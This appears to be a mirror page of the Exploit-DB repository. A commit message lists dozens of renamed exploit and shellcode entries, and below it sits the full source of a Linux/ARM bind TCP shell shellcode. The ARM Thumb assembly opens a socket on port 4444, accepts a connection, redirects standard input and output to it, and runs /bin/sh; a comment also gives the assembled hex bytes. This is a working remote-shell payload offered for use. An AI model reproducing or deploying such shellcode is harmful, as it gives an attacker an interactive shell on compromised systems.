mirror of
https://github.com/offensive-security/exploitdb.git
synced 2026-11-09 20:31:26 -10:00
31 changes to exploits/shellcodes MiniUPnP MiniUPnPc < 2.0 - Remote Denial of Service Android - Hardware Service Manager Arbitrary Service Replacement due to getpidcon Microsoft Windows - NTFS Owner/Mandatory Label Privilege Bypass Microsoft Windows - NtImpersonateAnonymousToken AC to Non-AC Privilege Escalation Microsoft Windows - NtImpersonateAnonymousToken LPAC to Non-LPAC Privilege Escalation Microsoft Windows SMB Server (v1/v2) - Mount Point Arbitrary Device Open Privilege Escalation macOS - 'process_policy' Stack Leak Through Uninitialized Field Microsoft Edge Chakra - 'AppendLeftOverItemsFromEndSegment' Out-of-Bounds Read Jungo Windriver 12.5.1 - Privilege Escalation Jungo Windriver 12.5.1 - Local Privilege Escalation Parity Browser < 1.6.10 - Bypass Same Origin Policy Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' MITM Remote Code Execution VideoCharge Studio 2.12.3.685 - 'GetHttpResponse()' Man In The Middle Remote Code Execution Granding MA300 - Traffic Sniffing MitM Fingerprint PIN Disclosure Granding MA300 - Traffic Sniffing Man In The Middle Fingerprint PIN Disclosure LabF nfsAxe 3.7 FTP Client - Stack Buffer Overflow (Metasploit) phpCollab 2.5.1 - Unauthenticated File Upload (Metasploit) eVestigator Forensic PenTester - MITM Remote Code Execution eVestigator Forensic PenTester - Man In The Middle Remote Code Execution BestSafe Browser - MITM Remote Code Execution BestSafe Browser - Man In The Middle Remote Code Execution SKILLS.com.au Industry App - MITM Remote Code Execution Virtual Postage (VPA) - MITM Remote Code Execution SKILLS.com.au Industry App - Man In The Middle Remote Code Execution Virtual Postage (VPA) - Man In The Middle Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - MITM Remote Code Execution Trend Micro OfficeScan 11.0/XG (12.0) - Man In The Middle Remote Code Execution SAP NetWeaver J2EE Engine 7.40 - SQL Injection D-Link Routers 110/412/615/815 < 1.03 - 'service.cgi' Arbitrary Code Execution FreeBSD/x86 - Reverse TCP Shell (192.168.1.69:6969/TCP) Shellcode (129 bytes) BSD/x86 - Reverse TCP Shell (192.168.2.33:6969/TCP) Shellcode (129 bytes) FreeBSD/x86 - Bind TCP Password Shell (4883/TCP) Shellcode (222 bytes) FreeBSD/x86 - Bind TCP Password /bin/sh Shell (4883/TCP) Shellcode (222 bytes) Cisco IOS - New TTY / Privilege Level To 15 / Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY / Privilege Level To 15 / No Password Shellcode HPUX - execve /bin/sh Shellcode (58 bytes) Cisco IOS - New TTY + Privilege Level To 15 + Reverse Virtual Terminal Shell (21/TCP) Shellcode Cisco IOS/PowerPC - New VTY + Password (1rmp455) Shellcode (116 bytes) Cisco IOS - New TTY + Privilege Level To 15 + No Password Shellcode HP-UX - execve /bin/sh Shellcode (58 bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 Bytes) OpenBSD/x86 - execve /bin/sh Shellcode (23 bytes) ARM - Bind TCP Shell (0x1337/TCP) Shellcode ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode Linux/ARM - Bind TCP Shell (0x1337/TCP) Shellcode Linux/ARM - Bind TCP Listener (68/UDP) + Reverse TCP Shell (192.168.0.1:67/TCP) Shellcode Linux/ARM - Bind TCP Listener (0x1337/TCP) + Receive Shellcode + Payload Loader Shellcode Linux/ARM - ifconfig eth0 192.168.0.2 up Shellcode FreeBSD/x86 - Bind TCP Shell (31337/TCP) + Fork Shellcode (111 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (31337/TCP) + Fork Shellcode (111 bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 Bytes) Windows x86 - Reverse TCP Shell (192.168.232.129:4444/TCP) + Persistent Access Shellcode (494 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 Bytes) Linux/ARM (Raspberry Pi) - Bind TCP /bin/sh Shell (0.0.0.0:4444/TCP) Null-Free Shellcode (112 bytes) FreeBSD/x86-64 - execve /bin/sh Shellcode (28 bytes) FreeBSD/x86-64 - Bind TCP Password (R2CBw0cr) /bin/sh Shell Shellcode (127 bytes) FreeBSD/x86 - execv(/bin/sh) Shellcode (23 bytes) FreeBSD/x86 - //sbin/pfctl -F all Shellcode (47 bytes) FreeBSD/x86 - Bind TCP /bin/sh Shell (41254/TCP) Shellcode (115 bytes) FreeBSD - reboot() Shellcode (15 Bytes) IRIX - execve(/bin/sh -c) Shellcode (72 bytes) IRIX - execve(/bin/sh) Shellcode (43 bytes) IRIX - Bind TCP /bin/sh Shell Shellcode (364 bytes) IRIX - execve(/bin/sh) Shellcode (68 bytes) IRIX - stdin-read Shellcode (40 bytes) Linux/ARM - execve(_/bin/sh__ NULL_ 0) Shellcode (34 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - Read /etc/passwd Shellcode (54 Bytes) Linux/x86 - Read /etc/passwd Shellcode (54 bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 Bytes) Linux/x86-64 - execve /bin/sh Shellcode (21 bytes)
76 lines
2.8 KiB
NASM
76 lines
2.8 KiB
NASM
.section .text
|
|
.global _start
|
|
_start:
|
|
.ARM
|
|
add r3, pc, #1 // switch to thumb mode
|
|
bx r3
|
|
|
|
.THUMB
|
|
// socket(2, 1, 0)
|
|
mov r0, #2
|
|
mov r1, #1
|
|
sub r2, r2, r2 // set r2 to null
|
|
mov r7, #200 // r7 = 281 (socket)
|
|
add r7, #81 // r7 value needs to be split
|
|
svc #1 // r0 = host_sockid value
|
|
mov r4, r0 // save host_sockid in r4
|
|
|
|
// bind(r0, &sockaddr, 16)
|
|
adr r1, struct_addr // pointer to address, port
|
|
strb r2, [r1, #1] // write 0 for AF_INET
|
|
strb r2, [r1, #4] // replace 1 with 0 in x.1.1.1
|
|
strb r2, [r1, #5] // replace 1 with 0 in 0.x.1.1
|
|
strb r2, [r1, #6] // replace 1 with 0 in 0.0.x.1
|
|
strb r2, [r1, #7] // replace 1 with 0 in 0.0.0.x
|
|
mov r2, #16 // struct address length
|
|
add r7, #1 // r7 = 282 (bind)
|
|
svc #1
|
|
nop
|
|
|
|
// listen(sockfd, 0)
|
|
mov r0, r4 // set r0 to saved host_sockid
|
|
mov r1, #2
|
|
add r7, #2 // r7 = 284 (listen syscall number)
|
|
svc #1
|
|
|
|
// accept(sockfd, NULL, NULL);
|
|
mov r0, r4 // set r0 to saved host_sockid
|
|
sub r1, r1, r1 // set r1 to null
|
|
sub r2, r2, r2 // set r2 to null
|
|
add r7, #1 // r7 = 284+1 = 285 (accept syscall)
|
|
svc #1 // r0 = client_sockid value
|
|
mov r4, r0 // save new client_sockid value to r4
|
|
|
|
// dup2(sockfd, 0)
|
|
mov r7, #63 // r7 = 63 (dup2 syscall number)
|
|
mov r0, r4 // r4 is the saved client_sockid
|
|
sub r1, r1, r1 // r1 = 0 (stdin)
|
|
svc #1
|
|
|
|
// dup2(sockfd, 1)
|
|
mov r0, r4 // r4 is the saved client_sockid
|
|
add r1, #1 // r1 = 1 (stdout)
|
|
svc #1
|
|
|
|
// dup2(sockfd, 2)
|
|
mov r0, r4 // r4 is the saved client_sockid
|
|
add r1, #1 // r1 = 2 (stderr)
|
|
svc #1
|
|
|
|
// execve("/bin/sh", 0, 0)
|
|
adr r0, shellcode // r0 = location of "/bin/shX"
|
|
eor r1, r1, r1 // clear register r1. R1 = 0
|
|
eor r2, r2, r2 // clear register r2. r2 = 0
|
|
strb r2, [r0, #7] // store null-byte for AF_INET
|
|
mov r7, #11 // execve syscall number
|
|
svc #1
|
|
nop
|
|
|
|
struct_addr:
|
|
.ascii "\x02\xff" // AF_INET 0xff will be NULLed
|
|
.ascii "\x11\x5c" // port number 4444
|
|
.byte 1,1,1,1 // IP Address
|
|
shellcode:
|
|
.ascii "/bin/shX"
|
|
|
|
// \x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x37\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58 |